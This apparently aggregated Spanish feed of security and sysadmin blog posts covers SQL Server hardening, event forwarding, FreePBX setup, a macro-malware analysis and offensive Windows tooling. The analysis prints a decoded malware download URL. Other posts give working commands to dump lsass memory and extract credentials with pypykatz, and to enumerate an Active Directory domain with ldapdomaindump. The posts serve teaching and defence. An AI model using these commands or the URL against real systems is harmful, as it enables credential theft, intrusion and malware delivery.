Las actualizaciones suelen dividirse en 3 grandes grupos: HotFix, suelen ser soluciones a errores puntuales. CU o actualizaciones acumuladas, que son un conjunto de HotFix. Services Pack, son un conjunto de CU´s y HotFix y suelen tener funcionalidades nuevas. El ciclo de publicación es mayor por lo que suelen estar mucho más testeadas y son mas seguras y estables.

Dentro de este modelo, también debemos separar dos "branches" de las actualizaciones, una basada en hotfix puntuales que tienes o no, y otra denominada GDR ( General Development Release). 

Imagina un hotfix que soluciona un problema X para los Sql Server sobre 2019 en versión castellano en servidores Hp de la gama ZYX... puede que tengamos ese parche, ese hotfix, si tenemos esa casuística concreta... pero si sale el service pack 1, esta "rama" de actualizaciones es general para todos los sql servers. El service pack 2 incluiría todas las actualizaciones del 1, por ser acumulativo.

Me gusta este video de mi líder mundial Enrique Catala

Usuario Servicio

Otra de toda la vida... Si instalas un SqlServer con permisos de administrador del dominio, el SqlServer se ejecuta con este contexto de seguridad. Si un atacante accede a la bbdd, accede con esos permisos... Es sencillo. Hay que crear usuarios específicos para el servicio, y fortificarlos para que tengan solo los permisos necesarios para la labor de ejecutar el servidor. No tiene sentido que ese usuario tenga acceso de escritura a la carpeta "nóminas" de ese fileserver... si no es necesario.


NMAP

Un básico de los sistemas y más estos, es realizar auditorías periódicas para conocer el estado real de la seguridad de los mismos. Es común creer que nuestros entornos son más seguros de lo que lo son, y en el peor de los casos, podemos aprender de cambios no controlados. Nos ocurre muchas veces que encontramos planteamientos distintos de los que creían en la organización, por un cambio en un partner, una reparación rápida y "provisional", etc...

Aunque no estés muy puesto en este mundo, lanzar desde un linux algo así : nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 192.168.1.1 siempre es bueno.

PORT     STATE SERVICE  VERSION

1433/tcp open  ms-sql-s Microsoft SQL Server  15.00.2000.00

| ms-sql-ntlm-info: 

Host script results:

| ms-sql-info: 

|   192.168.1.101:1433: 

|     Version: 

|       name: Microsoft SQL Server 

|       number: 15.00.2000.00

|       Product: Microsoft SQL Server 

|_    TCP port: 1433

Transact Sql

El propio lenguaje de gestión del Sql Server te proporciona algunos procedimientos y funciones relacionadas con la seguridad, que si bien te pueden sonar a chino si no las necesitas, es bueno conocerlas y darles un repaso, lo mismo identificas implementaciones inseguras o valores no deseados. Las principales son: sys.database_permissions, sys.database_principals, sys.database_role_memberssys.database_scoped_credentialssys.master_key_passwordssys.user_tokensys.credentials, sys.login_token, sys.securable_classes, sys.server_permissionssys.server_principals, sys.server_role_members, sys.sql_logins, sys.system_components_surface_area_configuration, sys.asymmetric_keys, sys.certificatessys.column_encryption_key_values, sys.column_encryption_keys, sys.column_master_keys, sys.crypt_properties, sys.cryptographic_providerssys.key_encryptions, sys.openkeys, sys.security_policies, sys.security_predicatessys.symmetric_keys, sys.server_audits, sys.server_audit_specifications, sys.database_audit_specifications,  PWDCOMPARE (Transact-SQL)CERTPRIVATEKEY (Transact-SQL)PWDENCRYPT (Transact-SQL)CURRENT_USER (Transact-SQL)SCHEMA_ID (Transact-SQL)DATABASE_PRINCIPAL_ID (Transact-SQL)SCHEMA_NAME (Transact-SQL)sys.fn_builtin_permissions (Transact-SQL)SESSION_USER (Transact-SQL)sys.fn_get_audit_file (Transact-SQL)SUSER_ID (Transact-SQL)sys.fn_my_permissions (Transact-SQL)SUSER_SID (Transact-SQL)HAS_PERMS_BY_NAME (Transact-SQL)SUSER_SNAME (Transact-SQL)IS_MEMBER (Transact-SQL)SYSTEM_USER (Transact-SQL)IS_ROLEMEMBER (Transact-SQL)SUSER_NAME (Transact-SQL)IS_SRVROLEMEMBER (Transact-SQL)USER_ID (Transact-SQL)ORIGINAL_LOGIN (Transact-SQL)USER_NAME (Transact-SQL)PERMISSIONS (Transact-SQL)

Azure

Como pudimos ver hace unos días, el propio Azure nos permite fortificar o supervisar la seguridad de nuestros sistemas, integrando en el Security Center nuestras instancias, tanto en la nube como On Premise.

Como puedes ver, hay muchas formas de abordar el proceso de robustecimiento de nuestros motores de base de datos SQL Server, no es un proceso cerrado, y seguro que entre todos se nos ocurren más procesos, verdad?

Espero que te guste, gracias por leerme !!!

12 Dec 07:34

Usar Windows Event Forwarding para aglutinar logs centralizadamente sin herramientas de terceros

by kinomakino

 Estimados amigos de Inseguros !!!

Cuando hablamos de ciberseguridad, siempre nos gusta hablar de complejas técnicas de ataque, de exploits de nueva generación con evasión de AMSI y todo tipo de perrerias técnicas.

Desde Inseguros siempre apostamos por construir un sistema desde lo básico, con el Fix The Basics y las ideas claras, y pasito a pasito.

Al igual que digo que la seguridad empieza por el inventario, la gestión de eventos, de logs, es la siguiente pieza para una correcta visibilidad, monitorización.

Mi experiencia en el mundo Microsoft es que los logs se emplean para realizar resolución de problemas, cuando tienes algo que no va... esto en el mejor de los casos. Otros administradores buscan ayuda fuera o en Google sin ni siquiera mirar sus eventos...

Los que nos dedicamos a la ciberseguridad tenemos claro que el SIEM es una pieza importante, ese sistema que concentra los logs de todo tipo de sistemas, y que aportan un sinfín de ventajas a la hora de detectar ataques.

En los entornos menos maduros es inviable la adquisición del mismo, ya que si bien el coste al final son euros o dólares o pesos... el factor humano de la gestión es fundamental, y mucho más costoso que el licenciamiento. No os imagináis la cantidad de organizaciones que compran el SIEM fantástico de turno e incluso está apagado.

En el artículo de hoy vamos a repasar una función de los sistemas Microsoft Server 2012 en adelante que es la capacidad de enviar-adquirir eventos.

Vamos con las imágenes que se explican mejor que yo.


Una vez habilitado el colector, activamos una GPO sobre los equipos que queremos habilitar con enviadores. Para esto, lo mejor es una UO de servidores?


Server=http://Myservername(fqdn):5985/wsman/SubscriptionManager/WEC

El siguiente paso es usar el grupo restringido Lector de registro de evento y añadir el usuario Servicio de Red al grupo para darle permisos de lectura.



Si usas un sistema 2016 o 2019 como collector, deberás cambiar los permisos del webservices que escucha WINRM mediante estos comando. Puedes leer el por qué aquí

netsh http delete urlacl url=http://+:5985/wsman/

netsh http add urlacl url=http://+:5985/wsman/ sddl=D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-2996563517)

netsh http delete urlacl url=https://+:5986/wsman/

netsh http add urlacl url=https://+:5986/wsman/ sddl=D:(A;;GX;;;S-1-5-80-569256582-2953403351-2909559716-1301513147-412116970)(A;;GX;;;S-1-5-80-4059739203-877974739-1245631912-527174227-2996563517)

Por último, tienes que configurar el formato de los eventos que se envían para que lo haga en el formato del visor de eventos nativos

Wecutil.exe ss ata /cf:Events

Si eres como yo, algo nervioso, puedes forzar un evento en el "sender" para comprobar que recibes.

eventcreate /id 999 /t error /l application /d “Prueba anti-nervios”

Si tienes seguridad en el WINRM, tendrás que cambiar la directiva de grupo que restringe las direcciones IP de origen de la comunicación, pero solo si estás en un entorno altamente securizado.


Una vez configurado el sistema, nos vamos a la rama del visor de eventos de suscripciones, como empezó todo esto, y gráficamente podemos indicar sobre qué equipos queremos recibir los eventos y qué tipo de eventos.


Es aquí donde puedes configurar un pre-indexer para ahorrar envio, y solo recibir los id de eventos que te interesan.

Sin duda, muy útil, tanto si estás en un entorno con SIEM o sin él. Si tienes uno, te ahorras estar desplegando en todos los servidores el agente de turno. Puedes centralizarlo todo en en servidor y posteriormente instalar el agente solo en el "hub" que aglutina los eventos.

Y después de unos Gpupdate /force tendrás tus logs centralizados bajo la rama que hayas configurado.


Espero que te haya servido de ayuda.

En unos días lanzaremos un curso en profundidad de seguridad en sistemas Windows, para conocer mejor las bases técnicas de los Windows y Active Directory, como atacarlos, y cómo defenderlos.

Si crees que puedes estar interesado, puedes enviar un mail a formacion@seguridadsi.com y te mantendremos informado.

Gracias por leerme !!!



12 Dec 07:33

NFC Proxmark3: Instalación y uso de pm3, Tipos de Frecuencias y Tarjetas

by Unknown
Empezamos una pequeña serie de entradas relacionadas al mundo de las radio frequencias donde estaré compartiendo lo que vaya aprendiendo en este camino, vale aclarar que estoy dando mis primeros pinos más a fondo con esta tecnología ya que durante el año estuve haciendo algunas travesuras y es posible que me equivoque en algunas referencias, por lo tanto si puedes ayudar y corregir esta todo
07 Nov 19:21

SysAdmin Horror Stories – FREE eBook

by jramos

SysAdmin Horror Stories – FREE eBook

El ebook del año pasado, SysAdmin Horror Stories Vol1 de Altaro, destacó algunas de las historias más divertidas y horribles de SysAdmins.

Tuvo tanto éxito que Altaro decidió producir una segunda edición este año: han reunido más historias de la vida real para compartir con vosotros, ¡que son a la vez divertidas y horribles!
Todos sabemos que el trabajo de un SysAdmin no es una tarea fácil, y aparte de tener constantemente sistemas que actualizar, errores que arreglar y usuarios a los que complacer, los SysAdmins se encuentran con todo tipo de situaciones a lo largo de sus carreras. Desde situaciones técnicas a anécdotas divertidas, terribles percances o incidentes con colegas, este eBook incluye historias reales de lo que los SysAdmins pasan a diario.
Es muy fácil de descargar ya que no se requiere registro. Haga clic en Descargar y es suyo.

Incluye más de 20 historias cortas, pero esta es mi favorita 😊.

Download your FREE copy today & Happy Halloween!

07 Nov 19:21

Configuraciones iniciales FreePBX 15

by jramos

Hola a tod@s.

En este post vamos a ver las configuraciones iniciales en FreePBX 15.

  • Una vez que hemos instalado el sistema operativo con FreePBX 15, lo primero que vamos a realizar será acceder a la URL web de nuestra centralita Asterik, http://freepbx.ragasys.net, en este primer acceso se nos pide configurar el usuario administrador de la centralita con su password, una cuenta de correo para las notificaciones, la identificación del sistema, y habilitamos las actualizaciones automáticas, clic sobre Setup System para guardar los cambios:

  • Una vez que hemos guardado los cambios, nos encontramos con este panel de gestión y administración:

  • Clicamos sobre el panel de FreePBX Administration y nos pide que entremos las credenciales que hemos configurado anteriormente:

  • Aquí nos pide activar nuestra centralita PBX, nosotros este paso nos lo saltamos ya que no vamos a comprar ningún módulo:

  • Configuramos el idioma del sistema y la zona horaria, clic en Submit para guardar los cambios:

  • Ahora se nos va a abrir las opciones de configuración del firewall de FreePBX, clic en Continue para configurar:

  • Nos muestra información sobre el firewall, clic en Next:

  • Aquí nos indica, si queremos añadir la dirección IP desde la que estamos accediendo, a la lista de acceso para poder acceder a la configuración y administración de FreePBX, le indicamos Yes:

  • Aquí nos indica, si queremos añadir a la lista de acceso, la red completa desde la que estamos accediendo, le indicamos Yes:

  • Para terminar con el firewall, habilitamos el Responsive Firewall, para así permitir registrar a los clientes remotos directamente, clic sobre Yes:

  • Le indicamos que auto-detecte y configure la configuración de red de Asterik, clic en Yes y Apply Config:

  • Ahora cambiamos el idioma a español:

  • Aquí podemos ver que tenemos una alerta de error en el firewall, y es que nuestra centralita FreePBX la tenemos configurada en una red aislada y estamos accediendo a ella desde otra red, por lo que debemos de agregar la red dónde se encuentra FreePBX a las Trusted Zones del firewall, para ello, accedemos a Conectividad > Firewall:

  • Sobre la pestaña Networks añadimos la red dónde se encuentra la centralita FreePBX como Local (Local trusted traffic):

  • Una vez añadida guardamos los cambios:

 

Saludos y espero que os sea de ayuda 😉

 

07 Nov 19:19

Configuración de llamadas externas entrantes y salientes en FreePBX 15 con FTTH Movistar

by jramos

Hola a tod@s.

En este post vamos a ver cómo configurar las llamadas externas entrantes y salientes en nuestra centralita Asterik FreePBX 15, utilizando para ello, el proveedor Movistar a través de una conexión FTTH (Fiber To The Home).

  • Lo primero que vamos a realizar será crear el Trunk para conectarnos con nuestro proveedor de servicios, en nuestro caso va a ser una conexión FTTH de Movistar, para ello, accedemos al panel de administración de FreePBX, Conectividad > Líneas:

  • Se nos abren las opciones para administrar los troncales del sistema, accedemos a Añadir Línea > Añadir SIP (chan_sip) Línea:

  • Sobre la pestaña General le indicamos un nombre al Trunk y el número saliente, en mi caso, Movistar_FTTH y mi número de teléfono fijo:

  • Sobre la pestaña sip Configuraciones > Saliente le indicamos un Nombre Línea y los Detalles PEER.
  • Nombre Línea: Movistar_FTTH
  • Detalles PEER:

type=peer

fromuser=9xxxxxxxx (nuestro número de teléfono FTTH)

secret=9xxxxxxxx (nuestro número de teléfono FTTH)

fromdomain=telefonica.net

host=telefonica.net

outboundproxy=10.31.255.134:5070

port=5070

nat=yes

insecure=port,invite

dtmfmode=auto

disallow=all

allow=ulaw,alaw

  • Sobre la pestaña sip Configuraciones > Entrante le indicamos un Contexto Usuario, Detalles Usuario y Registro de Cadenas.
  • Contexto USUARIO: Trunk_PBX
  • Detalles USUARIO:

type=peer

username=9xxxxxxxx (nuestro número de teléfono FTTH)

secret=9xxxxxxxx (nuestro número de teléfono FTTH)

fromdomain=telefonica.net

host=10.31.255.134

port=5060

outboundproxy=10.31.255.134

qualify=no

nat=yes

insecure=port,invite

dtmfmode=auto

canreinvite=no

disallow=all

allow=ulaw,alaw

outboundproxyport=5070

  • Registro de Cadenas: 9xxxxxxxx@telefonica.net:9xxxxxxxx@10.31.255.134:5070

  • Para guardar los cambios, damos clic a Enviar:

  • Como podemos ver ya tenemos el Trunk creado:

  • Ahora vamos a crear un Grupo de timbrado, para que cuando llamen a nuestro teléfono fijo, entren las llamadas a este grupo de extensiones, para ello accedemos a Aplicaciones > Grupos de Timbrado:

  • Clicamos sobre Add Ring Group:

  • Configuramos el número del grupo (501), esta será el número al que los usuarios deberán llamar para contactar con este grupo de extensiones, la descripción del grupo, la lista de extensiones y qué hacer si no se recibe respuesta pasados 30 segundos, damos a Enviar para guardar los cambios:

  • Como podemos ver, aquí tenemos el grupo de timbrado creado:

  • Ahora vamos a configurar las rutas entrantes, es decir, desde que sitios nos pueden llamar, para ello, accedemos a Conectividad > Rutas Entrantes:

  • Agregar Ruta Entrante:

  • Sobre la pestaña General le indicamos una Descripción, con ANY/ANY le indicamos que podemos recibir llamadas desde cualquier sitio, fijamos los destinos con el Grupo de timbrado que creamos anteriormente, Enviar:

  • Como podemos ver, aquí tenemos configurada la ruta para las llamadas entrantes:

  • Ahora vamos a configurar las rutas salientes, es decir, a través de que proveedor de servicios vamos a salir para hacer las llamadas al exterior, para ello, accedemos a Conectividad > Rutas Salientes:

  • Agregar Ruta Saliente:

  • Sobre la pestaña Configuraciones de Ruta, le indicamos un nombre de ruta y añadimos el enlace troncal (Movistar_FTTH) que configuramos anteriormente:

  • Sobre la pestaña Patrones de Discado vamos a configurar el filtrado de los números a los que vamos a poder llamar através del enlace troncal (Trunk Movistar_FTTH) que hemos configurado, en este caso, podemos llamar a cualquier número que empiece por 9, 6 ó 7 y que contenga 8 dígitos más, clic sobre Enviar:

  • Como podemos ver, aquí tenemos configurada la ruta para las llamadas salientes, Aplicamos configuración para guardar todos los cambios:

  • Añadimos estos registros al fichero /etc/hosts en nuestra FreePBX:

  • A partir de este momento, ya podremos enviar y recibir llamadas externas desde nuestros softphones o teléfonos IP:

 

Saludos y espero que os resulte de ayuda 😉

07 Nov 19:19

Actualización de módulos FreePBX15

by jramos

Hola a tod@s.

En este post vamos a ver cómo actualizar los módulos de nuestra centralita Asterik FreePBX 15, para así mantener nuestro sistema a la última y actualizado.

  • Sobre la consola de Administración, nos situamos en Administ > Updates:

  • Nos vamos a la pestaña Module Updates > Standard > Verificar Online:

  • Comienza la comprobación de actualización de módulos:

  • Una vez terminado el chequeo de verificación, clicamos sobre Actualizar todo:

  • Y clicamos sobre Procesos para comenzar con las actualizaciones de los módulos:

  • Confirmamos los módulos que se van a actualizar:

  • Comienza el proceso de actualización:

  • Comprobamos que todos los módulos se han actualizado correctamente:

  • Aplicamos la configuración:

  • Una vez que hemos aplicado la configuración, verificamos que todos los módulos están correctamente actualizados y operativos:

 

Saludos y espero que os resulte de ayuda 😉

07 Nov 19:19

License Key Windows regedit

by jramos

Hola a tod@s,

En este post vamos a ver cuál es el serial key de nuestro Windows accediendo al registro del sistema.

  • Sobre inicio > ejecutar tecleamos regedit:

  • Se nos abre el registro de Windows, y nos situamos sobre la ruta Equipo\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\SoftwareProtectionPlatform, y sobre la clave BackupProductKeyDefault tenemos el License key de nuestro sistema:

 

Saludos y espero que os resulte de ayuda 😉

 

14 Oct 07:23

Construye y gestiona un SOC con herramientas Open Source

by Yolanda Corral
Un SOC es un Centro de Operaciones de Seguridad que sirve para monitorizar y gestionar incidentes de seguridad. Cuanto más se tenga todo bajo control, mucho mejor ya que hay labores de detección, gestión, monitorización y análisis que deben estar bien engrasadas para que el trabajo sea lo más eficaz posible. En la comunidad Hack&Beers […]
12 Oct 07:09

Arañita, ¿dónde vas?

by 4null0

Siempre he querido crear mi propio “spider” en bash, para no tener que utilizar herramientas externas.

A este respecto,  aproveché un trabajo de hace unas semanas para desarrollar la idea anterior, es más, aproveché para darle más funcionalidades, porque así lo necesitaba para mi trabajo.

La funcionalidad incorporada es la de detectar los distintos tipos de extensiones de los distintos documentos que posee el sitio web, y la posibilidad de descargarlos para su posterior análisis de metadatos. Esta última parte, la extracción de metadatos, lo desarrollaré a posteriori.

El código es el siguiente:

NOTA: Creo que el código es fácil de entender, si no es así, contáctame.

 Parte del código 1 de 3

Parte del código 2  de 3

Parte del código 2  de 3

Un ejemplo del uso de este código se puede ver a continuación:

Ejemplo de uso del código

Estos códigos y alguno más lo dejo en mi github, por si os sirven de algo.

En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.

12 Oct 07:09

Que bonitos siguen siendo.

by 4null0

No hace mucho se me paso un documento EML que contenía un documento “infectado”.

Parte inicial del archivo a investigar

Parte final del archivo a investigar

Como se puede ver, el nombre del archivo es: PO 127516.xlsm y el contenido del archivo viene en base 64.

NOTA: La extensión: xlsm, es la extensión utilizada por Excel para almacenar archivos con macros.

Para poder analizarlo, se tuvo que extraer los caracteres en base64 y decodificarlos, para lo cual se utilizo una herramienta de cosecha propia. Si quieres utilizarla puedes obtenerla aquí.

Tras obtener el archivo, se traslado a un entorno controlado para su análisis. En dicho entorno no existe salida a Internet de manera efectiva pero es posible analizar las comunicaciones que se han producido mediante Wireshark al abrir el documento analizado.

El Wireshark mostro peticiones DNS, hacía el dominio: cd.crazendemand.com

 Peticiones DNS

Tras la apertura del documento se procedió a revisar la macro del documento

Parte de la macro

Se procedió a buscar el punto de ejecución, porque el malware que utiliza macros siempre ejecuta algo

Se encontro :

Punto de ejecución dentro del código

En la ejecución paso a paso del código nos fijamos en el campo: TXTFile, en donde se encontró:


Como se puede apreciar, tenemos un archivo ubicado en: C:/programdata, que utiliza ALTERNATE DATA STREAM (asc.txt:script1.vbs).

Para ver el contenido del archivo que realmente contiene el premio gordo tenemos que utilizar el nombre completo, es decir, ejecutar , por ejemplo, lo siguiente: notepad asc.txt:script1.vbs

Al hacerlo se pudó ver:

Primeras líneas del archivo: asc.txt:script1.vbs

Analizando un poco por encima se vio:

1.- Que tiene que tener algún carácter en base 64
2.- Que realiza una petición web de tipo GET

Por lo tanto, se busco una cadena en formato Base 64.

Tuvimos suerte, por qué en las dos primeras líneas se tienen dos asignaciones de cadenas en base64 a variables.

La segunda cadena no da:

http://cd.crazendemand.com/vendor/phpunit/php-timer/src/bn.exe

Decodificación de una de las cadenas del código

Y os confirmo que se pudo descargar dicho archivo y que VirusTotal informaba que 48 de 69 motores lo clasificaban como malicioso.

MD5 del archivo descargado

Resultado de VirusTotal

 
En cualquier caso…

Lo que hagas con la información es cosa tuya, no mía... pero ten conciencia.
12 Oct 07:00

Extrayendo credenciales de un volcado de memoria de lssas.exe con Pypykatz

by Unknown
Cuando realizamos el dumpeo del proceso lssas.exe el siguiente paso es obtener las credenciales que se encuentren almacenadas en memoria valga la redundancia , muchas o gran parte de las veces llegamos a utilizar mimikatz para extraerlos, aquí tenemos el inconveniente que necesitamos un entorno windows para extraer los credenciales.


La herramienta que utilizamos para el volcado de memoria del proceso es procdump en esta prueba de ejemplo, puedes realizar este proceso con SharpSploit u otra según Procdump forma parte de suite de Sysinternals que tiene como objetivo el extraer la informacion que se encuentra en memoria obteniendo consigo si todo esta adecuadamente mal configurado extraemos credenciales.

El volcado del proceso lsass se realiza de la siguiente manera, aclarando que depende mucho la ejecución según el escenario de explotabilidad que tengamos.

procdump.exe -accepteula -ma lsass.exe fichero.dump


Teniendo como resultado el fichero lsass.dmp, como mencionamos en el inicio de la entrada, existen dos maneras para tratar el dumpeo, el primero es con mimikatz desde un windows con la misma arquitectura o también desde linux, para cual tenemos la alternativa que es  pypykatz.

Pypykatz es una implementación de Mimikatz  en Python, con la posibilidad de ser ejecutada en cualquier sistema operativo.

Instalación

Puedes ser realizado desde pip o sacando una copia del repositorio en github, ambos serán descritos a continuación. 

Instalando a través de PIP

Necesitamos tener instalado pip3 para realizar la instalación.

╭─ ~/SniferL4bs
╰─pip3 install pypykatz

Las dependencias que necesitamos instalar previamente son las siguientes

╭─ ~/SniferL4bs
╰─ pip3 install minidump minikerberos aiowinreg msldap winsspi

Instalando desde Github


git clone https://github.com/skelsec/pypykatz.git
cd pypykatz
python3 setup.py install

Solo debemos ejecutar en ambos casos pypykatz -h para ver las opciones de la herramienta.


╭─ ~/SniferL4bs
╰─ pypykatz -h
usage: pypykatz [-h] [-v]
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake} ...

Pure Python implementation of Mimikatz --and more--

positional arguments:
{live,lsa,registry,nt,lm,dcc,dcc2,gppass,ldap,dpapi,sake}
commands
live Get secrets from live machine
lsa Get secrets from memory dump
registry Get secrets from registry files
nt Generates NT hash of the password
lm Generates LM hash of the password
dcc Generates DCC v1 (domain cached credentials version 1)
hash of the password
dcc2 Generates DCC v2 (domain cached credentials version 2)
hash of the password
gppass Decrypt GP passwords
ldap LDAP (live) related commands
dpapi DPAPI (offline) related commands
sake sake

optional arguments:
-h, --help show this help message and exit
-v, --verbose

Necesitamos contar con el dumpeo del proceso para que el mismo sea tratado con pypykatz, el comando a ser utilizado es:

╭─ ~/SniferL4bs
╰─ pypykatz lsa minidump lsass.dmp

Teniendo el siguiente resultado con los credenciales obtenidos en texto claro, si todo marcho adecuadamente para nosotros.



Para conocer un mayor detalle de la herramienta Pypykatz tenemos su WIKI en github de Pypykatz.

"La ignorancia está menos lejos de la verdad que el prejuicio." - Denis Diderot

Quieres que tratemos algun tema en el blog, avisanos en los comentarios, o en el grupo de Telegram.

Regards,
Snifer
12 Oct 06:58

Obteniendo información del dominio con LDAPdomaindump

by Unknown
La herramienta LDAPdomaindump es utilizada para recolectar y parsear la los datos obtenido de un dominio vía LDAP permitiendo visualizar el resultado en csv, grep y html con lo cual nos permite conocer informacion del Dominio.


La herramienta se encuentra desarrollada en Python por lo tanto desde nuestro linux preferido nos permite ejecutar solo necesitamos cumplir los requerimientos.

Instalación

Recuerda que debes de contar con pip perteneciente a python,

git clone https://github.com/dirkjanm/ldapdomaindump.git
sudo pip install requirements.txt
sudo setup.py install

La ejecución del script para obtener la informacion del dominio es el siguiente, solo necesitamos contar un usuario en Dominio para identificar la informacion del mismo.

$ldapdomaindump -u [DOMINIO]\\[USUARIO] -p 'CONTRASEÑA' IP-DC

Se realizo la ejecución del script en un dominio de prueba el cual es dragonball.net el usuario que se esta utilizando es uno regular, por lo cual solo basta contar con uno y los credenciales para ejecutar la solicitud con ldapdomaindump.

$ldapdomaindump -u dragonball.net\\Goku -p 'NubeV0ladora*' 192.168.253.201                                                                                                            
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

Bueno si todo marcho perfectamente,tenemos los siguientes ficheros donde ejecutamos ldapdomaindump.


A continuación mencionamos algunos de los ficheros que obtenemos de la solicitud realizada. Visualizamos los equipos que se encuentran en dominio con un detalle de su sistema operativo, versión y ultimo logueo.

Tenemos otro fichero con los grupos en el dominio que se encuentran configurados.


 Otro fichero que nos llama la atención son los usuarios del Dominio en el cual determinamos privilegios y que cuentas existen.

 

El ultimo que veremos cuenta con los datos de las políticas del domino.

Toda la información que se recaba de dominio nos permite conocer mas a fondo la infraestructura y en caso de realizar una intrusión se tiene datos a ser analizados, en caso de que no se requiera autenticación en ldap también es posible con una sesión nula obtener toda esta información con otras herramientas como ser ldapsearch, jxplorer.


"Intenta aprender algo sobre todo y todo sobre algo." - Thomas Huxley.


Regards,
Snifer
12 Oct 06:57

Pentesting Mobile 101: Controlando de manera remota un Dispositivo Android con Scrcpy

by Unknown
Durante estos meses aprendí mas sobre el análisis de aplicaciones móviles específicamente con Android, iOS aun falta conocer mas sobre su arquitectura.   Aprendí un poco mas de Frida, el proceso de realizar un debugging de la app para conocer sus diferentes métodos, clases y llegar a dar con algún control que anda molestando como ser Detección de root, o Certificate Pinning, sin olvidarme de Burp
26 Aug 13:01

Microsoft 365 incorpora nuevas herramientas para transcribir conversaciones y formatear al dictado en Word

by Marcos Merino

Microsoft 365 incorpora nuevas herramientas para transcribir conversaciones y formatear al dictado en Word

Microsoft ha anunciado hace unas horas dos nuevas funcionalidades de Word para los suscriptores de Microsoft 365, ambas dirigidas a permitirnos utilizar la voz humana para facilitar la labor de escritura, aunque por ahora sólo estará disponible para los usuarios del inglés estadounidense, pero "estamos trabajando en dar soporte a más idiomas", aseguran desde la compañía.

En el primer caso, contaremos con la posibilidad de usar comandos de voz no sólo para dictar texto, sino también para formatearlo, creando listas o poniendo un determinado texto en negrita. Esta función, además de en la web, está ya disponible en las apps móviles y se espera que llegue a las versiones de escritorio antes de fin de año.

Estas nuevas funciones de dictado en Word nos permitirán dar órdenes como "pon en negrita la última oración" o indicarle que inserte un "signo de porcentaje" o una "cara sonriente", si necesitamos agregar esos símbolos al texto.

Transcrib for Word

La segunda herramienta es Transcrib for Word, que cuenta con un nombre bastante auto-explicativo: nos permite, bien grabar y transcribir una conversación en tiempo real, bien cargar un fichero de audio pregrabado para transcribirlo (en formato .wav, .mp3, .mp4 o .m4a).

Una vez analizado el texto, los usuarios podrán ver una barra lateral donde el programa mostrará la transcripción diferenciando los distintos hablantes entre sí, y podrán recorrer la línea de tiempo para volver a comparar lo grabado y lo transcrito. Tras eso, podrán editar las secciones del texto, y/o incorporarlas al documento Word principal.

Por ahora, esta segunda herramienta sólo está disponible en la web, y de aquí a fin de año sólo está planeado incorporarla a las apps móviles (un ámbito mucho más útil si el plan es transcribir conversaciones sobre la marcha).

En lo que se refiere a la grabación, existen algunos límites: sólo podremos cargar 5 horas de audio al mes, y los archivos individuales estarán limitados a 200 Mb, si bien Microsoft asegura que ampliará eso en un futuro. También asegura, si estás preocupado por tu privacidad tras leer esto, que los archivos son borrados de su servidor una vez transcritos.

Vía | TechCrunch

-
La noticia Microsoft 365 incorpora nuevas herramientas para transcribir conversaciones y formatear al dictado en Word fue publicada originalmente en Genbeta por Marcos Merino .

31 Jul 08:15

La nueva era retro de los videojuegos

by Pedro Alvarez

En la actualidad, denominamos “retro” a todos aquellos videojuegos o consolas que nos evocan al pasado, pero lo cierto es que estos títulos nunca pasan de moda. Prueba de ello es que los clásicos siempre vuelven, ya sea porque hay nuevos interesados o porque algunos gamers más experimentados desean revivir ciertos momentos por nostalgia. Un ejemplo de ello es Wermy, un jugador que se hizo famoso por crear la bautizada como “Game Boy Zero”, que consiste en una Game Boy DMG-01 modificada para jugar a títulos de otras consolas como Game Boy Advance. Seguidamente, veremos otras de las novedades retro que podemos encontrar.

Super Mario Bros y VIC-20 están de vuelta

La remasterización de dispositivos electrónicos y videojuegos está a la orden del día, dado que brinda a los jugadores una nueva oportunidad para obtener los títulos que probaron tiempo atrás y se encuentran descatalogados. Nintendo es una de las compañías que más títulos ha remasterizado, tal y como se observa en el catálogo de Nintendo Switch. Según el medio Eurogamer, para celebrar el 35.º aniversario de Super Mario Bros., la consola podría añadir más juegos antiguos del fontanero a lo largo del año. Asimismo, para disfrutar de este tipo de juegos en todos los dispositivos, también existen un sinfín de emuladores como zsnes, el cual permite jugar a títulos de Super Nintendo en Ubuntu de forma sencilla.

Por su parte, Koch Media y Retro Games Ltd. confirmaron la vuelta del VIC-20, uno de los ordenadores más icónicos de la historia. Éste salió a la venta en 1981 y su éxito fue tal que se convirtió en el primer ordenador en llegar a un millón de ventas. La nueva versión se denominará THEVIC20 y, además de incluir teclado, también se venderá con un característico joystick que recuerda a la palanca de cambios de un vehículo. El dispositivo, que llegará a las tiendas el próximo mes de octubre, tendrá 64 juegos preinstalados, entre los que destacan títulos como Arcadia, California Games o Laser Zone.

La llegada de Antstream

Otro de los proyectos más destacados del mundo retro de los videojuegos es Antstream, una plataforma que nació en 2018 con el objetivo de ofrecer un amplio catálogo de videojuegos clásicos en la nube. El equipo detrás de la idea obtuvo los fondos gracias a una campaña en KickStarter, y más tarde anunció que mejoraría paulatinamente su sistema. En su página web se explica que los jugadores pueden participar en campeonatos semanales, seguir a sus amigos y realizar distintos desafíos. Algunos de sus mejores juegos son Space Invaders y Asteroids, dos de los títulos más famosos de la historia. A pesar de tener un objetivo simple, ya que ambos cuentan con una básica interfaz y pocas funciones, son algunos de los precursores de los complejos títulos que podemos disfrutar en la actualidad.

Gracias a su amplio catálogo en línea, Antstream ha sido comparado en múltiples ocasiones con Netflix, el conocido servicio de streaming que cuenta con un sinfín de series y películas de todas las épocas. El hecho de que ambas plataformas tengan cierta semejanza no es de extrañar, dado que hoy en día es común encontrar este tipo de portales en la red. Otro ejemplo de ello es el casino Betway, el cual dispone de más de cien tragaperras modernas y clásicas, además de otros juegos de azar con décadas de antigüedad como el blackjack o la ruleta. Lo mismo sucede con los portales de videojuegos como Steam o Epic Games, en los cuales se pueden encontrar juegos para todos los gustos.

